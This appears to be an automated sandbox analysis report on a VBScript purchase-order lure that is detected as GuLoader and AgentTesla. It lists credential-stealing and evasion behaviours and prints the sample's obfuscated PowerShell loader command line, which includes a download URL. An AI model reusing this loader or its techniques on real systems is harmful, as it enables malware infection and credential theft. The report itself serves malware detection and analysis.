Edit tour
Windows
Analysis Report
Texas_Tool_Purchase_Order#T18834-1.vbs
Overview
General Information
| Sample name: | Texas_Tool_Purchase_Order#T18834-1.vbs |
| Analysis ID: | 1430129 |
| MD5: | 85bb05a80334099ded83e21dd686c567 |
| SHA1: | 308f10b6208abf4a9c92736c80b6dcb01ca332d2 |
| SHA256: | 46d29ed35c7ca72d44d99f3d12603cd11435b6388bf61cd9988e7d375ddbb7b5 |
| Tags: | vbs |
| Infos: |   |
 | |
Detection
AgentTesla, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected GuLoader
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation STDIN+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 2464 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Texas _Tool_Purc hase_Order #T18834-1. vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 3012 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Allentow n = 1;$Ord knappestes ='Substrin ';$Ordknap pestes+='g ';Function Preinterc eded($Vein wise){$Reg norms=$Vei nwise.Leng th-$Allent own;For($J argonium=5 ; $Jargoni um -lt $Re gnorms; $J argonium+= (6)){$Wood ener+=$Vei nwise.$Ord knappestes .Invoke($J argonium, $Allentown );}$Wooden er;}functi on Infatua tedly($Ben eficefores tillingern es191){. ($subc utaneous) ($Benefice forestilli ngernes191 );}$Indkne bnes=Prein terceded ' HyperM Trv eo givez S traiVejr.l Overvl Cya naGarde/ M yto5b.lli. Skved0Musi k Appro(Ac errW,argai Thoseneska dd.lyveoUn ,epwMahogs Forsm Midt oNUnpu.TAl lus Rveja1 Share0Tale s.Ove,f0Sp yd;Packw Has.WUprod iDecimnSem is6Upda.4V aude;.saru J mcrxTwi nn6 Hi c4 ph l;,assa FiberAlab avOpfin:Op tag1 Tele2 Under1Hlqn u. Ant.0Un i c) Sner ,rwinG.lap seMonercWi ghtk Trano Unhe/Clim e2Bibri0We stm1Folke0 Taabe0Inds k1 Phle0De rhj1Svrme UdligFTime li Philr S a.deBla,sf JuvaloVar gx S,oe/Ue gen1Syda.2 Thurl1Unde r.Tra.y0 S let ';$Sev enbommens= Preinterce ded 'indtr U.ecansrei lae DiplrR aphi-Delta AB,ckbgSka k e ,ikrnC odswtIncom ';$Socion oms=Preint erceded 'd ativhSole tBlaa.t.ot lypU ions Pr i:Trima /Uninf/Pel tidBiscarS olsii,ecap vBankaeCal pa.,ortagA ktieoForka oS.detgRep ublUdenreF or l.Unac, cMash oByg nimByr e/R ud,sule es cUng.r?Syn cre Ko sxS ids.p.remp oInputr L, lit Isop= SansdEnsid oMindewFil ipn Ob.llK lyngoEddik a,renddDov en&NaturiK ,rofdTro t = Samf1 Un paYCollieT hebae Ph n jPref.v Li teOT.grygV andrcCoequ 5 NasiTTir esNAnskuFC omplf Marm dI,jur9eri nd1 Allo7. ladd6 Ejer EMisseDWat er_Taa,t0D yspeKBlazy sRapnd8Fod erYCoteh3C haufySynth n NediRDat akMKommeW Te n ';$An skaffelses summerne=P reinterced ed 'Rumne> Chann ';$s ubcutaneou s=Preinter ceded 'Rou teiFor,beL ysstx.akey ';$Mesopo diale='Krn ikens';Inf atuatedly (Preinterc eded 'Her. uS,ndebeSt atutSt ej- geoaeCH.la koL.llenTe nodtReakte Apo,nSumm etEr mi Ad hsi-HomelP SkyggaSimo ntB,bonh l les formaT O duc:.rea m\StigmDCh agorDormiy StyrtaScru fsDi.re. J ,lltS.warx ngsetinds , Su.p-F e kvVAscogau ltralSkole uDag,oe,ns gn Vandh$E therME tad eYeomasTri lloSrettpC hiliomora dUptubiByt ea.virkl. uinye Tros ; Fin, '); Infatuated ly (Preint erceded ' Ae iigyrin fRadze Bjd en(PrevotU nreneT.gge spatibtFra tr-Necrop EvenaRo.en tKabyshOm. in Bo.tgTS uper:Fa,ri \ richD Tr ior,rdskyB olsmaPes,i sArchi.Red brtDefekxS tryctSkn,e ) nte{ Cos teDoradx,o opri I,rat Farl}Co.s e;Diakr ') ;$Knscelle = Preinte rceded '.n vesePragtc SnknihProv ioAnker Vn in%Sor,eaH ovedpC,unt pCountdSko pua AniktS amgiaCuck %leaka\Man ,mMS peryE strexHumbl opostcgCar dia espasU nde,t Fors eS iklrPho